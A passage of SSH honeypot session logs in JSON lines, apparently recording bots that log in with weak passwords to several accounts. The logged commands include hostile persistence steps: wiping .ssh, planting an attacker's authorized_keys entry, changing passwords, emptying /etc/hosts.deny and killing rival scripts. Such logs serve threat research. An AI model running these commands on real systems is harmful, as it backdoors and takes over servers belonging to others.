node\n^C"},{"seq":23,"at":"2026-08-26T15:43:35.292650+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-26T15:43:35.574594+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-26T15:43:36.323735+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-26T15:43:36.733870+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":27,"at":"2026-08-26T15:43:37.484022+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-26T15:43:38.296127+00:00","kind":"output","latency_ms":null,"data":"testftp"},{"seq":29,"at":"2026-08-26T15:43:39.044866+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-26T15:43:40.114899+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":31,"at":"2026-08-26T15:43:40.862558+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":32,"at":"2026-08-26T15:43:41.806806+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"testftp","password":"12345678","method":"password","accepted":true,"tier":"other"}]}
{"id":"696fdf3f-4def-4d5b-9ff9-da8048d6e8ee","name":"kindly-woven-stork","protocol":"ssh","channel_kind":null,"src_ip":"168.167.228.123","src_port":40855,"username":"testftp","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-26T15:43:19.885115+00:00","ended_at":"2026-08-26T15:43:21.285003+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"testftp","password":"3245gs5662d34","method":"password","accepted":false,"tier":"probe"}]}
{"id":"8cdf1223-df3c-4442-8e58-41a3e150b659","name":"tender-spirited-opossum","protocol":"ssh","channel_kind":null,"src_ip":"168.167.228.123","src_port":40854,"username":"345gs5662d34","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-26T15:43:17.436907+00:00","ended_at":"2026-08-26T15:43:18.375262+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"345gs5662d34","password":"345gs5662d34","method":"password","accepted":false,"tier":"probe"}]}
{"id":"8f7bd20e-1159-44f4-bb63-40cbc6eeec44","name":"vaulted-umber-chough","protocol":"ssh","channel_kind":"exec","src_ip":"168.167.228.123","src_port":40850,"username":"root","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":762,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-26T15:41:00.967613+00:00","ended_at":"2026-08-26T15:41:02.413847+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2304,"events":[{"seq":1,"at":"2026-08-26T15:40:34.408283+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-26T15:40:35.169886+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-26T15:40:40.590110+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-26T15:40:41.048893+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-26T15:40:41.810886+00:00","kind":"input","latency_ms":null,"data":"echo \"root:6gPfv5RNNhZx\"|chpasswd|bash"},{"seq":6,"at":"2026-08-26T15:40:42.572567+00:00","kind":"input","latency_ms":null,"data":"rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"},{"seq":7,"at":"2026-08-26T15:40:43.335938+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-26T15:40:44.086110+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-26T15:40:44.849092+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-26T15:40:46.209027+00:00","kind":"output","latency_ms":null,"data":""},{"seq":11,"at":"2026-08-26T15:40:46.973913+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":12,"at":"2026-08-26T15:40:48.384153+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-26T15:40:49.147143+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-26T15:40:49.757367+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":15,"at":"2026-08-26T15:40:50.519887+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-26T15:40:51.201146+00:00","kind":"output","latency_ms":null,"data":" 15:40:51 up 6 days, 12:30,  0 user,  load average: 0.35, 0.45, 0.32\nUSER     TTY      FROM             LOGIN@   IDLE   JCPU   PCPU WHAT"},{"seq":17,"at":"2026-08-26T15:40:51.961418+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":18,"at":"2026-08-26T15:40:52.278225+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-26T15:40:53.039650+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":20,"at":"2026-08-26T15:40:53.616879+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":21,"at":"2026-08-26T15:40:54.380733+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-26T15:40:54.939352+00:00","kind":"output","latency_ms":null,"data":"top - 15:40:54 up 6 days, 12:31,  0 user,  load average: 0.35, 0.45, 0.32\nTasks: 114 total,   1 running, 113 sleeping,   0 stopped,   0 zombie\n%Cpu(s):  1.3 us,  0.7 sy,  0.0 ni, 97.7 id,  0.3 wa,  0.0 hi,  0.0 si,  0.0 st\nMiB Mem :    15888 total,    9691 free,    6196 used\nMiB Swap:    4095 total,    4095 free,        0 used\n\n    PID USER      PR  NI    VIRT    RES    SHR S  %CPU  %MEM     TIME+ COMMAND\n      1 root      20   0  168404  13072   8284 S   0.0   1.3   0:04.19 systemd\n    742 root      20   0  109272   6144   5376 S   0.0   0.6   0:00.83 nginx\n    889 postgres  20   0  218360  28416  26112 S   0.0   2.9   0:01.44 postgres\n   1204 root      20   0  712924  48732  22188 S   0.3   4.9   0:12.06 node\n^C"},{"seq":23,"at":"2026-08-26T15:40:55.707257+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-26T15:40:56.079746+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-26T15:40:56.845180+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-26T15:40:57.419297+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":27,"at":"2026-08-26T15:40:58.181580+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-26T15:40:58.618155+00:00","kind":"output","latency_ms":null,"data":"root"},{"seq":29,"at":"2026-08-26T15:40:59.380831+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-26T15:41:00.206904+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":31,"at":"2026-08-26T15:41:00.968506+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":32,"at":"2026-08-26T15:41:02.175855+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"root","password":"aA12345678","method":"password","accepted":true,"tier":"other"}]}
{"id":"40ada214-6a7d-4279-9c95-7c82d35de7a5","name":"supple-daring-crossbill","protocol":"ssh","channel_kind":null,"src_ip":"168.167.228.123","src_port":40852,"username":"root","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-26T15:40:39.399996+00:00","ended_at":"2026-08-26T15:40:40.347924+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"root","password":"3245gs5662d34","method":"password","accepted":false,"tier":"probe"}]}
{"id":"9f4d61a4-15e5-4bc8-a114-da7d3d61502b","name":"crisp-dusty-lapwing","protocol":"ssh","channel_kind":null,"src_ip":"168.167.228.123","src_port":40851,"username":"345gs5662d34","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-26T15:40:36.906245+00:00","ended_at":"2026-08-26T15:40:37.891065+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"345gs5662d34","password":"345gs5662d34","method":"password","accepted":false,"tier":"probe"}]}
{"id":"2535591c-2b0a-4f61-a8ab-8cd924229163","name":"stoic-fearless-peccary","protocol":"ssh","channel_kind":"exec","src_ip":"168.167.228.123","src_port":40847,"username":"ajay","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":762,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-26T15:38:13.799757+00:00","ended_at":"2026-08-26T15:38:15.323567+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2255,"events":[{"seq":1,"at":"2026-08-26T15:37:46.380351+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-26T15:37:47.143760+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-26T15:37:52.995474+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-26T15:37:53.754790+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-26T15:37:54.516286+00:00","kind":"input","latency_ms":null,"data":"echo -e \"12345678\\nQEyV3kDN6dCf\\nQEyV3kDN6dCf\"|passwd|bash"},{"seq":6,"at":"2026-08-26T15:37:55.277100+00:00","kind":"input","latency_ms":null,"data":"echo \"12345678\\nQEyV3kDN6dCf\\nQEyV3kDN6dCf\\n\"|passwd"},{"seq":7,"at":"2026-08-26T15:37:56.038818+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-26T15:37:56.404127+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-26T15:37:57.167051+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-26T15:37:58.514961+00:00","kind":"output","latency_ms":null,"data":""},{"seq":11,"at":"2026-08-26T15:37:59.280039+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":12,"at":"2026-08-26T15:38:00.598282+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-26T15:38:01.364105+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-26T15:38:01.819053+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":15,"at":"2026-08-26T15:38:02.582971+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-26T15:38:02.935311+00:00","kind":"output","latency_ms":null,"data":" 15:38:02 up 6 days, 12:28,  0 user,  load average: 0.04, 0.05, 0.03\nUSER     TTY      FROM             LOGIN@   IDLE   JCPU   PCPU WHAT"},{"seq":17,"at":"2026-08-26T15:38:03.695508+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":18,"at":"2026-08-26T15:38:04.289875+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-26T15:38:05.052261+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":20,"at":"2026-08-26T15:38:05.914007+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":21,"at":"2026-08-26T15:38:06.677471+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-26T15:38:07.298161+00:00","kind":"output","latency_ms":null,"data":"top - 15:38:07 up 6 days, 12:28,  0 user,  load average: 0.04, 0.05, 0.03\nTasks: 104 total,   1 running, 103 sleeping,   0 stopped,   0 zombie\n%Cpu(s):  1.3 us,  0.7 sy,  0.0 ni, 97.7 id,  0.3 wa,  0.0 hi,  0.0 si,  0.0 st\nMiB Mem :    15888 total,    9056 free,    6831 used\nMiB Swap:    4095 total,    4095 free,        0 used\n\n    PID USER      PR  NI    VIRT    RES    SHR S  %CPU  %MEM     TIME+ COMMAND\n      1 root      20   0  168404  13072   8284 S   0.0   1.3   0:04.19 systemd\n    742 root      20   0  109272   6144   5376 S   0.0   0.6   0:00.83 nginx\n    889 postgres  20   0  218360  28416  26112 S   0.0   2.9   0:01.44 postgres\n   1204 root      20   0  712924  48732  22188 S   0.3   4.9   0:12.06 node\n^C"},{"seq":23,"at":"2026-08-26T15:38:08.059340+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-26T15:38:08.941942+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-26T15:38:09.704268+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-26T15:38:10.016962+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":27,"at":"2026-08-26T15:38:10.777139+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-26T15:38:11.358859+00:00","kind":"output","latency_ms":null,"data":"ajay"},{"seq":29,"at":"2026-08-26T15:38:12.120863+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-26T15:38:13.037823+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":31,"at":"2026-08-26T15:38:13.800885+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":32,"at":"2026-08-26T15:38:15.085721+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"ajay","password":"12345678","method":"password","accepted":true,"tier":"other"}]}
{"id":"39c06f6f-441e-47fa-88db-4f326e9e8950","name":"velvet-languid-meerkat","protocol":"ssh","channel_kind":null,"src_ip":"168.167.228.123","src_port":40849,"username":"ajay","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-26T15:37:51.638751+00:00","ended_at":"2026-08-26T15:37:52.754414+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"ajay","password":"3245gs5662d34","method":"password","accepted":false,"tier":"probe"}]}
{"id":"5a21870e-60d1-43ee-90e7-b028c164dc20","name":"loyal-wandering-nightjar","protocol":"ssh","channel_kind":null,"src_ip":"168.167.228.123","src_port":40848,"username":"345gs5662d34","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-26T15:37:48.881468+00:00","ended_at":"2026-08-26T15:37:50.124752+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"345gs5662d34","password":"345gs5662d34","method":"password","accepted":false,"tier":"probe"}]}
{"id":"9f12fbab-1ccd-4fa1-a657-08523aff9bde","name":"arctic-glassy-jackal","protocol":"ssh","channel_kind":"exec","src_ip":"168.167.228.123","src_port":40844,"username":"odoo17","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":762,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-26T15:35:32.222507+00:00","ended_at":"2026-08-26T15:35:33.337914+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2249,"events":[{"seq":1,"at":"2026-08-26T15:35:03.836045+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-26T15:35:04.596234+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-26T15:35:11.265613+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-26T15:35:11.780735+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-26T15:35:12.545637+00:00","kind":"input","latency_ms":null,"data":"echo -e \"1234\\n7jzEO60U7Ufz\\n7jzEO60U7Ufz\"|passwd|bash"},{"seq":6,"at":"2026-08-26T15:35:13.303920+00:00","kind":"input","latency_ms":null,"data":"echo \"1234\\n7jzEO60U7Ufz\\n7jzEO60U7Ufz\\n\"|passwd"},{"seq":7,"at":"2026-08-26T15:35:14.067057+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-26T15:35:14.720798+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-26T15:35:15.483749+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-26T15:35:16.742578+00:00","kind":"output","latency_ms":null,"data":""},{"seq":11,"at":"2026-08-26T15:35:17.508047+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":12,"at":"2026-08-26T15:35:19.032578+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-26T15:35:19.797312+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-26T15:35:20.421206+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":15,"at":"2026-08-26T15:35:21.183836+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-26T15:35:22.042846+00:00","kind":"output","latency_ms":null,"data":" 15:35:22 up 6 days, 12:25,  0 user,  load average: 0.28, 0.25, 0.27\nUSER     TTY      FROM             LOGIN@   IDLE   JCPU   PCPU WHAT"},{"seq":17,"at":"2026-08-26T15:35:22.804533+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":18,"at":"2026-08-26T15:35:23.125619+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-26T15:35:23.888180+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":20,"at":"2026-08-26T15:35:24.320549+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":21,"at":"2026-08-26T15:35:25.082620+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-26T15:35:25.358122+00:00","kind":"output","latency_ms":null,"data":"top - 15:35:25 up 6 days, 12:25,  0 user,  load average: 0.28, 0.25, 0.27\nTasks: 110 total,   1 running, 109 sleeping,   0 stopped,   0 zombie\n%Cpu(s):  1.3 us,  0.7 sy,  0.0 ni, 97.7 id,  0.3 wa,  0.0 hi,  0.0 si,  0.0 st\nMiB Mem :    15888 total,    8420 free,    7467 used\nMiB Swap:    4095 total,    4095 free,        0 used\n\n    PID USER      PR  NI    VIRT    RES    SHR S  %CPU  %MEM     TIME+ COMMAND\n      1 root      20   0  168404  13072   8284 S   0.0   1.3   0:04.19 systemd\n    742 root      20   0  109272   6144   5376 S   0.0   0.6   0:00.83 nginx\n    889 postgres  20   0  218360  28416  26112 S   0.0   2.9   0:01.44 postgres\n   1204 root      20   0  712924  48732  22188 S   0.3   4.9   0:12.06 node\n^C"},{"seq":23,"at":"2026-08-26T15:35:26.120337+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-26T15:35:26.781546+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-26T15:35:27.542465+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-26T15:35:28.436880+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":27,"at":"2026-08-26T15:35:29.201873+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-26T15:35:29.709137+00:00","kind":"output","latency_ms":null,"data":"odoo17"},{"seq":29,"at":"2026-08-26T15:35:30.477697+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-26T15:35:31.460996+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":31,"at":"2026-08-26T15:35:32.223115+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":32,"at":"2026-08-26T15:35:33.097397+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"odoo17","password":"1234","method":"password","accepted":true,"tier":"other"}]}
{"id":"dd9ec137-f683-4d57-9378-9df2bd6dc189","name":"hidden-prairie-skua","protocol":"ssh","channel_kind":null,"src_ip":"168.167.228.123","src_port":40846,"username":"odoo17","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-26T15:35:09.082262+00:00","ended_at":"2026-08-26T15:35:11.024487+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"odoo17","password":"3245gs5662d34","method":"password","accepted":false,"tier":"probe"}]}
{"id":"ea8b07e6-51a2-4844-8c69-ff829f35e986","name":"electric-verdant-salmon","protocol":"ssh","channel_kind":null,"src_ip":"168.167.228.123","src_port":40845,"username":"345gs5662d34","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-26T15:35:06.326325+00:00","ended_at":"2026-08-26T15:35:07.568465+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"345gs5662d34","password":"345gs5662d34","method":"password","accepted":false,"tier":"probe"}]}
{"id":"37f93808-47b9-42b1-b362-d3e336edccf6","name":"emerald-western-cassowary","protocol":"ssh","channel_kind":"exec","src_ip":"168.167.228.123","src_port":40841,"username":"temp","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":756,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-26T15:32:47.683960+00:00","ended_at":"2026-08-26T15:32:49.494280+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2255,"events":[{"seq":1,"at":"2026-08-26T15:32:19.575476+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-26T15:32:20.332277+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-26T15:32:27.366078+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-26T15:32:28.066143+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-26T15:32:28.821082+00:00","kind":"input","latency_ms":null,"data":"echo -e \"P@ssw0rd\\nbqnHlELRQr4j\\nbqnHlELRQr4j\"|passwd|bash"},{"seq":6,"at":"2026-08-26T15:32:29.576358+00:00","kind":"input","latency_ms":null,"data":"echo \"P@ssw0rd\\nbqnHlELRQr4j\\nbqnHlELRQr4j\\n\"|passwd"},{"seq":7,"at":"2026-08-26T15:32:30.331854+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-26T15:32:30.770047+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-26T15:32:31.526512+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, 